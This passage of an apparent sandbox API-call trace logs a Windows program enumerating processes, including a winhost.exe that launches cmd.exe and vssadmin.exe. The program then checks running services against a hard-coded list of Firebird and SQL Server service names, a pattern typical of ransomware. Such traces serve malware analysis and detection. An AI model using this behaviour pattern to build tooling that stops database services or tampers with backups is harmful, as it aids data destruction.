th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.345] lstrlenW (lpString="sihost.exe") returned 10 [0242.345] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0242.345] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0242.345] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0242.346] lstrlenW (lpString="Memory Compression") returned 18 [0242.346] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.346] lstrlenW (lpString="taskhostw.exe") returned 13 [0242.346] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.346] lstrlenW (lpString="explorer.exe") returned 12 [0242.346] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.347] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0242.347] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.347] lstrlenW (lpString="SearchUI.exe") returned 12 [0242.347] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.347] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0242.347] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0242.348] lstrlenW (lpString="winhost.exe") returned 11 [0242.348] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.348] lstrlenW (lpString="cmd.exe") returned 7 [0242.348] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.348] lstrlenW (lpString="conhost.exe") returned 11 [0242.348] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.349] lstrlenW (lpString="dllhost.exe") returned 11 [0242.349] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0242.349] lstrlenW (lpString="vssadmin.exe") returned 12 [0242.349] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.349] lstrlenW (lpString="dllhost.exe") returned 11 [0242.349] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0242.350] CloseHandle (hObject=0x54c) returned 1 [0242.350] Sleep (dwMilliseconds=0x1f4) [0242.969] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0242.969] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0242.970] GetLastError () returned 0xea [0242.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5061090 [0242.970] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5061090, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5061090, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0242.971] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0242.971] lstrlenW (lpString="Appinfo") returned 7 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0242.971] lstrlenW (lpString="AppXSvc") returned 7 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0242.971] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0242.971] lstrlenW (lpString="Audiosrv") returned 8 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0242.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0242.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0242.971] lstrlenW (lpString="BFE") returned 3 [0242.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0242.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0242.971] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0242.972] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0242.972] lstrlenW (lpString="CDPSvc") returned 6 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0242.972] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0242.972] lstrlenW (lpString="CryptSvc") returned 8 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0242.972] lstrlenW (lpString="DcomLaunch") returned 10 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0242.972] lstrlenW (lpString="DeviceAssociationService") returned 24 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0242.972] lstrlenW (lpString="Dhcp") returned 4 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0242.972] lstrlenW (lpString="Dnscache") returned 8 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0242.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0242.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0242.972] lstrlenW (lpString="DPS") returned 3 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0242.973] lstrlenW (lpString="DusmSvc") returned 7 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0242.973] lstrlenW (lpString="EventLog") returned 8 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0242.973] lstrlenW (lpString="EventSystem") returned 11 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0242.973] lstrlenW (lpString="FontCache") returned 9 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0242.973] lstrlenW (lpString="gpsvc") returned 5 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0242.973] lstrlenW (lpString="iphlpsvc") returned 8 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0242.973] lstrlenW (lpString="KeyIso") returned 6 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0242.973] lstrlenW (lpString="LanmanServer") returned 12 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0242.973] lstrlenW (lpString="LanmanWorkstation") returned 17 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0242.974] lstrlenW (lpString="lfsvc") returned 5 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0242.974] lstrlenW (lpString="lmhosts") returned 7 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0242.974] lstrlenW (lpString="LSM") returned 3 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0242.974] lstrlenW (lpString="MpsSvc") returned 6 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0242.974] lstrlenW (lpString="NcbService") returned 10 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0242.974] lstrlenW (lpString="netprofm") returned 8 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0242.974] lstrlenW (lpString="NgcSvc") returned 6 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0242.974] lstrlenW (lpString="NlaSvc") returned 6 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0242.974] lstrlenW (lpString="nsi") returned 3 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0242.975] lstrlenW (lpString="PcaSvc") returned 6 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0242.975] lstrlenW (lpString="PlugPlay") returned 8 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0242.975] lstrlenW (lpString="Power") returned 5 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0242.975] lstrlenW (lpString="ProfSvc") returned 7 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0242.975] lstrlenW (lpString="RpcEptMapper") returned 12 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0242.975] lstrlenW (lpString="RpcSs") returned 5 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0242.975] lstrlenW (lpString="SamSs") returned 5 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0242.975] lstrlenW (lpString="Schedule") returned 8 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0242.975] lstrlenW (lpString="SecurityHealthService") returned 21 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0242.976] lstrlenW (lpString="SENS") returned 4 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.976] lstrlenW (lpString="ShellHWDetection") 